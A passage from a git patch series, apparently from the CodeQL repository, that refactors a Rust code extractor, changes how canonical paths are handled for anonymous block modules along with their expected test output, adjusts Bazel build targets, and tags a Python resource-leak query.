ModuleDefId::AdtId(adt_id) => { - items.extend(emit_adt(crate_graph, db, name.as_str(), trap, adt_id, vis)); + items.extend(emit_adt(db, name.as_str(), trap, adt_id, vis)); } ModuleDefId::TraitId(trait_id) => { - items.extend(emit_trait( - crate_graph, - db, - name.as_str(), - trap, - trait_id, - vis, - )); + items.extend(emit_trait(db, name.as_str(), trap, trait_id, vis)); } _ => (), } @@ -259,7 +224,6 @@ fn emit_module_items( } fn emit_function( - crate_graph: &CrateGraph, db: &dyn HirDatabase, name: &str, trap: &mut TrapFile, @@ -268,20 +232,12 @@ fn emit_function( ) -> Vec> { let mut items = Vec::new(); if let Some(type_) = db.value_ty(function.into()) { - items.push(const_or_function( - crate_graph, - db, - name, - trap, - type_, - visibility, - )); + items.push(const_or_function(db, name, trap, type_, visibility)); } items } fn emit_const( - crate_graph: &CrateGraph, db: &dyn HirDatabase, name: &str, trap: &mut TrapFile, @@ -290,14 +246,13 @@ fn emit_const( ) -> Vec> { let mut items = Vec::new(); let type_ = db.value_ty(konst.into()); - let type_repr = - type_.and_then(|type_| emit_hir_ty(trap, crate_graph, db, type_.skip_binders())); + let type_repr = type_.and_then(|type_| emit_hir_ty(trap, db, type_.skip_binders())); let name = Some(trap.emit(generated::Name { id: trap::TrapId::Star, text: Some(name.to_owned()), })); let konst = db.const_data(konst); - let visibility = emit_visibility(crate_graph, db, trap, visibility); + let visibility = emit_visibility(db, trap, visibility); items.push( trap.emit(generated::Const { id: trap::TrapId::Star, @@ -315,7 +270,6 @@ fn emit_const( } fn emit_static( - crate_graph: &CrateGraph, db: &dyn HirDatabase, name: &str, trap: &mut TrapFile, @@ -324,14 +278,13 @@ fn emit_static( ) -> Vec> { let mut items = Vec::new(); let type_ = db.value_ty(statik.into()); - let type_repr = - type_.and_then(|type_| emit_hir_ty(trap, crate_graph, db, type_.skip_binders())); + let type_repr = type_.and_then(|type_| emit_hir_ty(trap, db, type_.skip_binders())); let name = Some(trap.emit(generated::Name { id: trap::TrapId::Star, text: Some(name.to_owned()), })); let statik = db.static_data(statik); - let visibility = emit_visibility(crate_graph, db, trap, visibility); + let visibility = emit_visibility(db, trap, visibility); items.push( trap.emit(generated::Static { id: trap::TrapId::Star, @@ -350,7 +303,6 @@ fn emit_static( } fn emit_enum_variant( - crate_graph: &CrateGraph, db: &dyn HirDatabase, name: &str, trap: &mut TrapFile, @@ -359,20 +311,12 @@ fn emit_enum_variant( ) -> Vec> { let mut items = Vec::new(); if let Some(type_) = db.value_ty(variant_id.into()) { - items.push(const_or_function( - crate_graph, - db, - name, - trap, - type_, - visibility, - )); + items.push(const_or_function(db, name, trap, type_, visibility)); } items } fn emit_adt( - crate_graph: &CrateGraph, db: &dyn HirDatabase, name: &str, trap: &mut TrapFile, @@ -386,8 +330,8 @@ fn emit_adt( id: trap::TrapId::Star, text: Some(name.to_owned()), })); - let field_list = emit_variant_data(trap, crate_graph, db, struct_id.into()).into(); - let visibility = emit_visibility(crate_graph, db, trap, visibility); + let field_list = emit_variant_data(trap, db, struct_id.into()).into(); + let visibility = emit_visibility(db, trap, visibility); items.push( trap.emit(generated::Struct { id: trap::TrapId::Star, @@ -411,8 +355,7 @@ fn emit_adt( id: trap::TrapId::Star, text: Some(name.as_str().to_owned()), })); - let field_list = - emit_variant_data(trap, crate_graph, db, (*enum_id).into()).into(); + let field_list = emit_variant_data(trap, db, (*enum_id).into()).into(); let visibility = None; trap.emit(generated::Variant { id: trap::TrapId::Star, @@ -432,7 +375,7 @@ fn emit_adt( id: trap::TrapId::Star, text: Some(name.to_owned()), })); - let visibility = emit_visibility(crate_graph, db, trap, visibility); + let visibility = emit_visibility(db, trap, visibility); items.push( trap.emit(generated::Enum { id: trap::TrapId::Star, @@ -451,9 +394,8 @@ fn emit_adt( id: trap::TrapId::Star, text: Some(name.to_owned()), })); - let struct_field_list = - emit_variant_data(trap, crate_graph, db, union_id.into()).into(); - let visibility = emit_visibility(crate_graph, db, trap, visibility); + let struct_field_list = emit_variant_data(trap, db, union_id.into()).into(); + let visibility = emit_visibility(db, trap, visibility); items.push( trap.emit(generated::Union { id: trap::TrapId::Star, @@ -472,7 +414,6 @@ fn emit_adt( } fn emit_trait( - crate_graph: &CrateGraph, db: &dyn HirDatabase, name: &str, trap: &mut TrapFile, @@ -492,7 +433,7 @@ fn emit_trait( .params() .iter() .map(|p| { - let type_repr = emit_hir_ty(trap, crate_graph, db, p); + let type_repr = emit_hir_ty(trap, db, p); trap.emit(generated::Param { id: trap::TrapId::Star, attrs: vec![], @@ -502,7 +443,7 @@ fn emit_trait( }) .collect(); - let ret_type = emit_hir_ty(trap, crate_graph, db, sig.ret()); + let ret_type = emit_hir_ty(trap, db, sig.ret()); let param_list = trap.emit(generated::ParamList { id: trap::TrapId::Star, params, @@ -518,7 +459,7 @@ fn emit_trait( id: trap::TrapId::Star, text: Some(name.as_str().to_owned()), })); - let visibility = emit_visibility(crate_graph, db, trap, visibility); + let visibility = emit_visibility(db, trap, visibility); Some( trap.emit(generated::Function { id: trap::TrapId::Star, @@ -553,7 +494,7 @@ fn emit_trait( id: trap::TrapId::Star, text: Some(name.to_owned()), })); - let visibility = emit_visibility(crate_graph, db, trap, visibility); + let visibility = emit_visibility(db, trap, visibility); items.push( trap.emit(generated::Trait { id: trap::TrapId::Star, @@ -573,7 +514,6 @@ fn emit_trait( } fn emit_module_impls( - crate_graph: &CrateGraph, db: &dyn HirDatabase, module: &ModuleData, trap: &mut TrapFile, @@ -581,7 +521,7 @@ fn emit_module_impls( let mut items = Vec::new(); module.scope.impls().for_each(|imp| { let self_ty = db.impl_self_ty(imp); - let self_ty = emit_hir_ty(trap, crate_graph, db, self_ty.skip_binders()); + let self_ty = emit_hir_ty(trap, db, self_ty.skip_binders()); let imp_data = db.impl_data(imp); let trait_ = imp_data .target_trait @@ -606,7 +546,7 @@ fn emit_module_impls( .params() .iter() .map(|p| { - let type_repr = emit_hir_ty(trap, crate_graph, db, p); + let type_repr = emit_hir_ty(trap, db, p); trap.emit(generated::Param { id: trap::TrapId::Star, attrs: vec![], @@ -616,7 +556,7 @@ fn emit_module_impls( }) .collect(); - let ret_type = emit_hir_ty(trap, crate_graph, db, sig.ret()); + let ret_type = emit_hir_ty(trap, db, sig.ret()); let param_list = trap.emit(generated::ParamList { id: trap::TrapId::Star, params, @@ -634,7 +574,6 @@ fn emit_module_impls( })); let data = db.function_data(function.clone()); let visibility = emit_visibility( - crate_graph, db, trap, data.visibility @@ -692,14 +631,13 @@ fn emit_module_impls( } fn emit_visibility( - crate_graph: &CrateGraph, db: &dyn HirDatabase, trap: &mut TrapFile, visibility: Visibility, ) -> Option> { let path = match visibility { Visibility::Module(module_id, VisibilityExplicitness::Explicit) => { - Some(make_path_mod(crate_graph, db.upcast(), module_id)) + Some(make_path_mod(db.upcast(), module_id)) } Visibility::Public => Some(vec![]), Visibility::Module(_, VisibilityExplicitness::Implicit) => None, @@ -713,7 +651,6 @@ fn emit_visibility( }) } fn const_or_function( - crate_graph: &CrateGraph, db: &dyn HirDatabase, name: &str, trap: &mut TrapFile, @@ -730,7 +667,7 @@ fn const_or_function( .params() .iter() .map(|p| { - let type_repr = emit_hir_ty(trap, crate_graph, db, p); + let type_repr = emit_hir_ty(trap, db, p); trap.emit(generated::Param { id: trap::TrapId::Star, attrs: vec![], @@ -740,7 +677,7 @@ fn const_or_function( }) .collect(); - let ret_type = emit_hir_ty(trap, crate_graph, db, sig.ret()); + let ret_type = emit_hir_ty(trap, db, sig.ret()); let param_list = trap.emit(generated::ParamList { id: trap::TrapId::Star, params, @@ -756,7 +693,7 @@ fn const_or_function( id: trap::TrapId::Star, text: Some(name.to_owned()), })); - let visibility = emit_visibility(crate_graph, db, trap, visibility); + let visibility = emit_visibility(db, trap, visibility); trap.emit(generated::Function { id: trap::TrapId::Star, name, @@ -777,12 +714,12 @@ fn const_or_function( .into() } _ => { - let type_repr = emit_hir_ty(trap, crate_graph, db, type_); + let type_repr = emit_hir_ty(trap, db, type_); let name = Some(trap.emit(generated::Name { id: trap::TrapId::Star, text: Some(name.to_owned()), })); - let visibility = emit_visibility(crate_graph, db, trap, visibility); + let visibility = emit_visibility(db, trap, visibility); trap.emit(generated::Const { id: trap::TrapId::Star, name, @@ -798,14 +735,13 @@ fn const_or_function( } } fn emit_hir_type_bound( - crate_graph: &CrateGraph, db: &dyn HirDatabase, trap: &mut TrapFile, type_bound: &Binders>, ) -> Option> { match type_bound.skip_binders() { WhereClause::Implemented(trait_ref) => { - let mut path = make_path(crate_graph, db, trait_ref.hir_trait_id()); + let mut path = make_path(db, trait_ref.hir_trait_id()); path.push( db.trait_data(trait_ref.hir_trait_id()) .name @@ -842,7 +778,7 @@ fn emit_hir_path(path: &ra_ap_hir_def::path::Path) -> Vec { fn emit_hir_fn_ptr( trap: &mut TrapFile, - crate_graph: &CrateGraph, + db: &dyn HirDatabase, function: &FnPointer, ) -> trap::Label { @@ -850,7 +786,7 @@ fn emit_hir_fn_ptr( let (ret_type, params) = parameters.split_last().unwrap(); - let ret_type = emit_hir_ty(trap, crate_graph, db, ret_type); + let ret_type = emit_hir_ty(trap, db, ret_type); let ret_type = Some(trap.emit(generated::RetTypeRepr { id: trap::TrapId::Star, type_repr: ret_type, @@ -858,7 +794,7 @@ fn emit_hir_fn_ptr( let params = params .iter() .map(|t| { - let type_repr = emit_hir_ty(trap, crate_graph, db, t); + let type_repr = emit_hir_ty(trap, db, t); trap.emit(generated::Param { id: trap::TrapId::Star, attrs: vec![], @@ -907,13 +843,13 @@ fn scalar_to_str(scalar: &Scalar) -> &'static str { } } -fn make_path(crate_graph: &CrateGraph, db: &dyn HirDatabase, item: impl HasModule) -> Vec { +fn make_path(db: &dyn HirDatabase, item: impl HasModule) -> Vec { let db = db.upcast(); let module = item.module(db); - make_path_mod(crate_graph, db, module) + make_path_mod(db, module) } -fn make_path_mod(crate_graph: &CrateGraph, db: &dyn DefDatabase, module: ModuleId) -> Vec { +fn make_path_mod(db: &dyn DefDatabase, module: ModuleId) -> Vec { let mut path = Vec::new(); let mut module = module; loop { @@ -921,7 +857,7 @@ fn make_path_mod(crate_graph: &CrateGraph, db: &dyn DefDatabase, module: ModuleI path.push("".to_owned()); } else if let Some(name) = module.name(db).map(|x| x.as_str().to_owned()).or_else(|| { module.as_crate_root().and_then(|k| { - let krate = &crate_graph[k.krate()]; + let krate = k.krate().extra_data(db); krate .display_name .as_ref() @@ -973,7 +909,7 @@ fn make_qualified_path( } fn emit_hir_ty( trap: &mut TrapFile, - crate_graph: &CrateGraph, + db: &dyn HirDatabase, ty: &Ty, ) -> Option> { @@ -995,7 +931,7 @@ fn emit_hir_ty( chalk_ir::TyKind::Tuple(_size, substitution) => { let fields = substitution.type_parameters(ra_ap_hir_ty::Interner); let fields = fields - .flat_map(|field| emit_hir_ty(trap, crate_graph, db, &field)) + .flat_map(|field| emit_hir_ty(trap, db, &field)) .collect(); Some( @@ -1007,7 +943,7 @@ fn emit_hir_ty( ) } chalk_ir::TyKind::Raw(mutability, ty) => { - let type_repr = emit_hir_ty(trap, crate_graph, db, ty); + let type_repr = emit_hir_ty(trap, db, ty); Some( trap.emit(generated::PtrTypeRepr { @@ -1020,7 +956,7 @@ fn emit_hir_ty( ) } chalk_ir::TyKind::Ref(mutability, _lifetime, ty) => { - let type_repr = emit_hir_ty(trap, crate_graph, db, ty); + let type_repr = emit_hir_ty(trap, db, ty); let lifetime = None; //TODO: ? Some( trap.emit(generated::RefTypeRepr { @@ -1033,7 +969,7 @@ fn emit_hir_ty( ) } chalk_ir::TyKind::Array(ty, _konst) => { - let element_type_repr = emit_hir_ty(trap, crate_graph, db, ty); + let element_type_repr = emit_hir_ty(trap, db, ty); // TODO: handle array size constant Some( trap.emit(generated::ArrayTypeRepr { @@ -1045,7 +981,7 @@ fn emit_hir_ty( ) } chalk_ir::TyKind::Slice(ty) => { - let type_repr = emit_hir_ty(trap, crate_graph, db, ty); + let type_repr = emit_hir_ty(trap, db, ty); Some( trap.emit(generated::SliceTypeRepr { id: trap::TrapId::Star, @@ -1056,7 +992,7 @@ fn emit_hir_ty( } chalk_ir::TyKind::Adt(adt_id, _substitution) => { - let mut path = make_path(crate_graph, db, adt_id.0); + let mut path = make_path(db, adt_id.0); let name = match adt_id.0 { ra_ap_hir_def::AdtId::StructId(struct_id) => { db.struct_data(struct_id).name.as_str().to_owned() @@ -1099,7 +1035,7 @@ fn emit_hir_ty( ) } chalk_ir::TyKind::Function(fn_pointer) => { - Some(emit_hir_fn_ptr(trap, crate_graph, db, fn_pointer).into()) + Some(emit_hir_fn_ptr(trap, db, fn_pointer).into()) } chalk_ir::TyKind::OpaqueType(_, _) | chalk_ir::TyKind::Alias(chalk_ir::AliasTy::Opaque(_)) => { @@ -1107,7 +1043,7 @@ fn emit_hir_ty( .impl_trait_bounds(db) .iter() .flatten() - .flat_map(|t| emit_hir_type_bound(crate_graph, db, trap, t)) + .flat_map(|t| emit_hir_type_bound(db, trap, t)) .collect(); let type_bound_list = Some(trap.emit(generated::TypeBoundList { id: trap::TrapId::Star, @@ -1126,7 +1062,7 @@ fn emit_hir_ty( .bounds .skip_binders() .iter(ra_ap_hir_ty::Interner) - .flat_map(|t| emit_hir_type_bound(crate_graph, db, trap, t)) + .flat_map(|t| emit_hir_type_bound(db, trap, t)) .collect(); let type_bound_list = Some(trap.emit(generated::TypeBoundList { id: trap::TrapId::Star, @@ -1142,7 +1078,7 @@ fn emit_hir_ty( } chalk_ir::TyKind::FnDef(fn_def_id, parameters) => { let sig = ra_ap_hir_ty::CallableSig::from_def(db, *fn_def_id, parameters); - Some(emit_hir_fn_ptr(trap, crate_graph, db, &sig.to_fn_ptr()).into()) + Some(emit_hir_fn_ptr(trap, db, &sig.to_fn_ptr()).into()) } chalk_ir::TyKind::Alias(chalk_ir::AliasTy::Projection(ProjectionTy { @@ -1162,7 +1098,7 @@ fn emit_hir_ty( trait_id: assoc_ty_data.trait_id, substitution: assoc_ty_data.binders.identity_substitution(Interner), }; - let mut trait_path = make_path(crate_graph, db, trait_ref.hir_trait_id()); + let mut trait_path = make_path(db, trait_ref.hir_trait_id()); trait_path.push( db.trait_data(trait_ref.hir_trait_id()) .name @@ -1226,12 +1162,7 @@ impl From for Option> { } } -fn emit_variant_data( - trap: &mut TrapFile, - crate_graph: &CrateGraph, - db: &dyn HirDatabase, - variant_id: VariantId, -) -> Variant { +fn emit_variant_data(trap: &mut TrapFile, db: &dyn HirDatabase, variant_id: VariantId) -> Variant { let variant = variant_id.variant_data(db.upcast()); match variant.as_ref() { VariantData::Record { @@ -1246,9 +1177,8 @@ fn emit_variant_data( id: trap::TrapId::Star, text: Some(field_data[field_id].name.as_str().to_owned()), })); - let type_repr = emit_hir_ty(trap, crate_graph, db, ty.skip_binders()); + let type_repr = emit_hir_ty(trap, db, ty.skip_binders()); let visibility = emit_visibility( - crate_graph, db, trap, field_data[field_id] @@ -1277,9 +1207,8 @@ fn emit_variant_data( let fields = field_types .iter() .map(|(field_id, ty)| { - let type_repr = emit_hir_ty(trap, crate_graph, db, ty.skip_binders()); + let type_repr = emit_hir_ty(trap, db, ty.skip_binders()); let visibility = emit_visibility( - crate_graph, db, trap, field_data[field_id] From 04f9694f89ec804659e5aea35fb93a4ef9c02e2f Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 21 Mar 2025 08:55:47 +0100 Subject: [PATCH 047/282] Rust: drop extraction of anonymous canonical paths --- rust/extractor/src/translate/base.rs | 7 ++--- .../canonical_path/canonical_paths.expected | 28 +++++++++---------- 2 files changed, 17 insertions(+), 18 deletions(-) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index a908f9ee993..584d1d0be5c 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -5,7 +5,6 @@ use crate::trap::{DiagnosticSeverity, TrapFile, TrapId}; use crate::trap::{Label, TrapClass}; use itertools::Either; use ra_ap_base_db::{CrateOrigin, EditionedFileId}; -use ra_ap_base_db::salsa::plumbing::AsId; use ra_ap_hir::db::ExpandDatabase; use ra_ap_hir::{ Adt, Crate, ItemContainer, Module, ModuleDef, PathResolution, Semantics, Type, Variant, @@ -399,9 +398,9 @@ impl<'a> Translator<'a> { } fn canonical_path_from_hir_module(&self, item: Module) -> Option { - if let Some(block_id) = ModuleId::from(item).containing_block() { - // this means this is a block module, i.e. a virtual module for a block scope - return Some(format!("{{{}}}", block_id.as_id().as_u32())); + if ModuleId::from(item).containing_block().is_some() { + // this means this is a block module, i.e. a virtual module for an anonymous block scope + return None; } if item.is_crate_root() { return Some("crate".into()); diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected index 4f0f2ec96fb..c6dae9ae3fc 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected @@ -1,20 +1,20 @@ canonicalPaths | anonymous.rs:1:1:1:26 | Use | None | None | | anonymous.rs:3:1:32:1 | fn canonicals | repo::test | crate::anonymous::canonicals | -| anonymous.rs:4:5:4:23 | struct OtherStruct | repo::test | {0}::OtherStruct | -| anonymous.rs:6:5:8:5 | trait OtherTrait | repo::test | {0}::OtherTrait | -| anonymous.rs:7:9:7:20 | fn g | repo::test | {0}::OtherTrait::g | +| anonymous.rs:4:5:4:23 | struct OtherStruct | None | None | +| anonymous.rs:6:5:8:5 | trait OtherTrait | None | None | +| anonymous.rs:7:9:7:20 | fn g | None | None | | anonymous.rs:10:5:12:5 | impl OtherTrait for OtherStruct { ... } | None | None | -| anonymous.rs:11:9:11:22 | fn g | repo::test | <{0}::OtherStruct as {0}::OtherTrait>::g | +| anonymous.rs:11:9:11:22 | fn g | None | None | | anonymous.rs:14:5:16:5 | impl OtherTrait for ...::Struct { ... } | None | None | -| anonymous.rs:15:9:15:22 | fn g | repo::test | ::g | +| anonymous.rs:15:9:15:22 | fn g | None | None | | anonymous.rs:18:5:20:5 | impl ...::Trait for OtherStruct { ... } | None | None | -| anonymous.rs:19:9:19:22 | fn f | repo::test | <{0}::OtherStruct as crate::regular::Trait>::f | -| anonymous.rs:22:5:24:5 | fn nested | repo::test | {0}::nested | -| anonymous.rs:23:9:23:27 | struct OtherStruct | repo::test | {1}::OtherStruct | -| anonymous.rs:26:5:31:5 | fn usage | repo::test | {0}::usage | +| anonymous.rs:19:9:19:22 | fn f | None | None | +| anonymous.rs:22:5:24:5 | fn nested | None | None | +| anonymous.rs:23:9:23:27 | struct OtherStruct | None | None | +| anonymous.rs:26:5:31:5 | fn usage | None | None | | anonymous.rs:34:1:36:1 | fn other | repo::test | crate::anonymous::other | -| anonymous.rs:35:5:35:23 | struct OtherStruct | repo::test | {36}::OtherStruct | +| anonymous.rs:35:5:35:23 | struct OtherStruct | None | None | | lib.rs:1:1:1:14 | mod anonymous | repo::test | crate::anonymous | | lib.rs:2:1:2:12 | mod regular | repo::test | crate::regular | | regular.rs:1:1:2:18 | struct Struct | repo::test | crate::regular::Struct | @@ -36,12 +36,12 @@ canonicalPaths | regular.rs:51:5:51:18 | Use | None | None | | regular.rs:57:1:63:1 | fn enum_match | repo::test | crate::regular::enum_match | resolvedPaths -| anonymous.rs:27:17:27:30 | OtherStruct {...} | repo::test | {0}::OtherStruct | +| anonymous.rs:27:17:27:30 | OtherStruct {...} | None | None | | anonymous.rs:28:9:28:9 | s | None | None | -| anonymous.rs:28:9:28:13 | s.f(...) | repo::test | <{0}::OtherStruct as crate::regular::Trait>::f | +| anonymous.rs:28:9:28:13 | s.f(...) | None | None | | anonymous.rs:29:9:29:9 | s | None | None | -| anonymous.rs:29:9:29:13 | s.g(...) | repo::test | <{0}::OtherStruct as {0}::OtherTrait>::g | -| anonymous.rs:30:9:30:14 | nested | repo::test | {0}::nested | +| anonymous.rs:29:9:29:13 | s.g(...) | None | None | +| anonymous.rs:30:9:30:14 | nested | None | None | | regular.rs:27:13:27:21 | Struct {...} | repo::test | crate::regular::Struct | | regular.rs:28:5:28:5 | s | None | None | | regular.rs:28:5:28:9 | s.f(...) | repo::test | ::f | From 7d312feffea91f48df73a393451ddfe364456be2 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 21 Mar 2025 09:48:29 +0100 Subject: [PATCH 048/282] Rust: add local copy of `rust.ungrammar` This copy is injected by the existing `//rust/ast-generator:inject-sources` target, and is useful for development. --- rust/ast-generator/.gitignore | 1 + rust/ast-generator/BUILD.bazel | 21 +++++++++++++++------ rust/codegen/BUILD.bazel | 2 +- 3 files changed, 17 insertions(+), 7 deletions(-) diff --git a/rust/ast-generator/.gitignore b/rust/ast-generator/.gitignore index 16daba3cfbd..ad69d72902d 100644 --- a/rust/ast-generator/.gitignore +++ b/rust/ast-generator/.gitignore @@ -2,3 +2,4 @@ /.idea /src/codegen/grammar.rs /src/codegen/grammar/ +/rust.ungram diff --git a/rust/ast-generator/BUILD.bazel b/rust/ast-generator/BUILD.bazel index b1b7af2ec5f..7d0105ac456 100644 --- a/rust/ast-generator/BUILD.bazel +++ b/rust/ast-generator/BUILD.bazel @@ -11,7 +11,7 @@ load("//misc/bazel/3rdparty/tree_sitter_extractors_deps:defs.bzl", "aliases", "a ra_ap_syntax_workspace, _, _ = str(ra_ap_syntax_label).partition("//") alias( - name = "ungram", + name = "rust.ungram", actual = "%s//:rust.ungram" % ra_ap_syntax_workspace, visibility = ["//rust/codegen:__pkg__"], ) @@ -45,9 +45,9 @@ codeql_rust_binary( exclude = ["src/codegen/**"], ) + [":codegen"], aliases = aliases(), - args = ["$(rlocationpath :ungram)"], + args = ["$(rlocationpath :rust.ungram)"], compile_data = glob(["src/templates/*.mustache"]), - data = [":ungram"], + data = [":rust.ungram"], proc_macro_deps = all_crate_deps( proc_macro = True, ), @@ -69,7 +69,10 @@ write_file( # using cat instead of cp to honor default umask # (also, macOS does not support `cp --no-preserve=mode`) 'cat "$(rlocation "$%s")" > "$DST_DIR/%s"' % item - for item in enumerate(_codegen_outs, 2) + for item in enumerate( + ["rust.ungram"] + _codegen_outs, + 2, + ) ], is_executable = True, ) @@ -77,8 +80,14 @@ write_file( sh_binary( name = "inject-sources", srcs = [":update"], - args = ["$(rlocationpath Cargo.toml)"] + ["$(rlocationpath %s)" % f for f in _codegen_outs], - data = ["Cargo.toml"] + _codegen_outs, + args = ["$(rlocationpath %s)" % f for f in [ + "Cargo.toml", + ":rust.ungram", + ] + _codegen_outs], + data = [ + "Cargo.toml", + ":rust.ungram", + ] + _codegen_outs, deps = ["//misc/bazel:sh_runfiles"], ) diff --git a/rust/codegen/BUILD.bazel b/rust/codegen/BUILD.bazel index 5bc26aeb14f..e1b51ca3661 100644 --- a/rust/codegen/BUILD.bazel +++ b/rust/codegen/BUILD.bazel @@ -3,7 +3,7 @@ load("@rules_shell//shell:sh_binary.bzl", "sh_binary") _args = [ "//rust/ast-generator", - "//rust/ast-generator:ungram", + "//rust/ast-generator:rust.ungram", "//rust/ast-generator:Cargo.toml", "//misc/codegen", "//rust:codegen-conf", From a46c157e46071d1d10fb76536ea118744cdd55a4 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Fri, 21 Mar 2025 09:24:54 +0000 Subject: [PATCH 049/282] Add quality tag + tweak description --- python/ql/src/Resources/FileNotAlwaysClosed.ql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.ql b/python/ql/src/Resources/FileNotAlwaysClosed.ql index 4bfba62b213..c3950eda805 100644 --- a/python/ql/src/Resources/FileNotAlwaysClosed.ql +++ b/python/ql/src/Resources/FileNotAlwaysClosed.ql @@ -1,10 +1,11 @@ /** * @name File is not always closed - * @description Opening a file without ensuring that it is always closed may cause data loss or resource leaks. + * @description Opening a file without ensuring that it is always closed may lead to data loss or resource leaks. * @kind problem * @tags efficiency * correctness * resources + * quality * external/cwe/cwe-772 * @problem.severity warning * @sub-severity high From 8f8fe2f8b69ee4048950d4ecd238cf4da3067646 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 21 Mar 2025 10:59:39 +0100 Subject: [PATCH 050/282] Rust: silence warning by removing unused generated function --- rust/ast-generator/src/main.rs | 12 ++++++++---- rust/extractor/src/translate/generated.rs | 8 -------- 2 files changed, 8 insertions(+), 12 deletions(-) diff --git a/rust/ast-generator/src/main.rs b/rust/ast-generator/src/main.rs index 33c901cea8c..ab550f00518 100644 --- a/rust/ast-generator/src/main.rs +++ b/rust/ast-generator/src/main.rs @@ -465,8 +465,12 @@ struct ExtractorInfo { nodes: Vec, } -fn enum_to_extractor_info(node: &AstEnumSrc) -> ExtractorEnumInfo { - ExtractorEnumInfo { +fn enum_to_extractor_info(node: &AstEnumSrc) -> Option { + if node.name == "VariantDef" { + // currently defined but unused + return None; + } + Some(ExtractorEnumInfo { name: class_name(&node.name), snake_case_name: to_lower_snake_case(&node.name), ast_name: node.name.clone(), @@ -478,7 +482,7 @@ fn enum_to_extractor_info(node: &AstEnumSrc) -> ExtractorEnumInfo { snake_case_name: to_lower_snake_case(v), }) .collect(), - } + }) } fn field_info_to_extractor_info(node: &AstNodeSrc, field: &FieldInfo) -> ExtractorNodeFieldInfo { @@ -528,7 +532,7 @@ fn node_to_extractor_info(node: &AstNodeSrc) -> ExtractorNodeInfo { fn write_extractor(grammar: &AstSrc) -> mustache::Result { let extractor_info = ExtractorInfo { - enums: grammar.enums.iter().map(enum_to_extractor_info).collect(), + enums: grammar.enums.iter().filter_map(enum_to_extractor_info).collect(), nodes: grammar.nodes.iter().map(node_to_extractor_info).collect(), }; let template = mustache::compile_str(include_str!("templates/extractor.mustache"))?; diff --git a/rust/extractor/src/translate/generated.rs b/rust/extractor/src/translate/generated.rs index 4f9181952f2..9479f793961 100644 --- a/rust/extractor/src/translate/generated.rs +++ b/rust/extractor/src/translate/generated.rs @@ -176,14 +176,6 @@ impl Translator<'_> { } } - pub(crate) fn emit_variant_def(&mut self, node: ast::VariantDef) -> Option> { - match node { - ast::VariantDef::Struct(inner) => self.emit_struct(inner).map(Into::into), - ast::VariantDef::Union(inner) => self.emit_union(inner).map(Into::into), - ast::VariantDef::Variant(inner) => self.emit_variant(inner).map(Into::into), - } - } - pub(crate) fn emit_item(&mut self, node: ast::Item) -> Option> { match node { ast::Item::Const(inner) => self.emit_const(inner).map(Into::into), From bd201afa8e6b5f51a29658458e91ac0d2c1530a1 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 21 Mar 2025 11:00:10 +0100 Subject: [PATCH 051/282] Rust: apply formatting and linting --- rust/ast-generator/src/main.rs | 6 +++++- rust/extractor/src/crate_graph.rs | 8 ++++---- rust/extractor/src/rust_analyzer.rs | 5 ++++- 3 files changed, 13 insertions(+), 6 deletions(-) diff --git a/rust/ast-generator/src/main.rs b/rust/ast-generator/src/main.rs index ab550f00518..9616ee8ba01 100644 --- a/rust/ast-generator/src/main.rs +++ b/rust/ast-generator/src/main.rs @@ -532,7 +532,11 @@ fn node_to_extractor_info(node: &AstNodeSrc) -> ExtractorNodeInfo { fn write_extractor(grammar: &AstSrc) -> mustache::Result { let extractor_info = ExtractorInfo { - enums: grammar.enums.iter().filter_map(enum_to_extractor_info).collect(), + enums: grammar + .enums + .iter() + .filter_map(enum_to_extractor_info) + .collect(), nodes: grammar.nodes.iter().map(node_to_extractor_info).collect(), }; let template = mustache::compile_str(include_str!("templates/extractor.mustache"))?; diff --git a/rust/extractor/src/crate_graph.rs b/rust/extractor/src/crate_graph.rs index ae2271c8233..358e80ff277 100644 --- a/rust/extractor/src/crate_graph.rs +++ b/rust/extractor/src/crate_graph.rs @@ -64,7 +64,7 @@ pub fn extract_crate_graph(trap_provider: &trap::TrapFileProvider, db: &RootData } // Extract each crate for krate_id in crate_graph.as_ref().iter() { - if let Some((root_module_file, hash)) = crate_id_map.get(&krate_id) { + if let Some((root_module_file, hash)) = crate_id_map.get(krate_id) { let path = root_module_file.join(format!("{hash:0>16x}")); let mut trap = trap_provider.create("crates", path.as_path()); // If the trap file already exists, then skip extraction because we have already extracted @@ -427,7 +427,7 @@ fn emit_trait( .iter() .flat_map(|(name, item)| { if let AssocItemId::FunctionId(function) = item { - let sig = db.callable_item_signature(function.clone().into()); + let sig = db.callable_item_signature((*function).into()); let sig = sig.skip_binders(); let params = sig .params() @@ -540,7 +540,7 @@ fn emit_module_impls( .iter() .flat_map(|item| { if let (name, AssocItemId::FunctionId(function)) = item { - let sig = db.callable_item_signature(function.clone().into()); + let sig = db.callable_item_signature((*function).into()); let sig = sig.skip_binders(); let params = sig .params() @@ -572,7 +572,7 @@ fn emit_module_impls( id: trap::TrapId::Star, text: Some(name.as_str().to_owned()), })); - let data = db.function_data(function.clone()); + let data = db.function_data(*function); let visibility = emit_visibility( db, trap, diff --git a/rust/extractor/src/rust_analyzer.rs b/rust/extractor/src/rust_analyzer.rs index 25d2f44eb44..1947dcbe09f 100644 --- a/rust/extractor/src/rust_analyzer.rs +++ b/rust/extractor/src/rust_analyzer.rs @@ -73,7 +73,10 @@ impl<'a> RustAnalyzer<'a> { if let Some(file_id) = path_to_file_id(path, vfs) { if let Ok(input) = std::panic::catch_unwind(|| semantics.db.file_text(file_id)) { - let file_id = EditionedFileId::new(semantics.db, SpanEditionedFileId::current_edition(file_id)); + let file_id = EditionedFileId::new( + semantics.db, + SpanEditionedFileId::current_edition(file_id), + ); let source_file = semantics.parse(file_id); let errors = semantics .db From af6e1bda4c5bc02e1833289d69e219f8c26349a3 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 20 Mar 2025 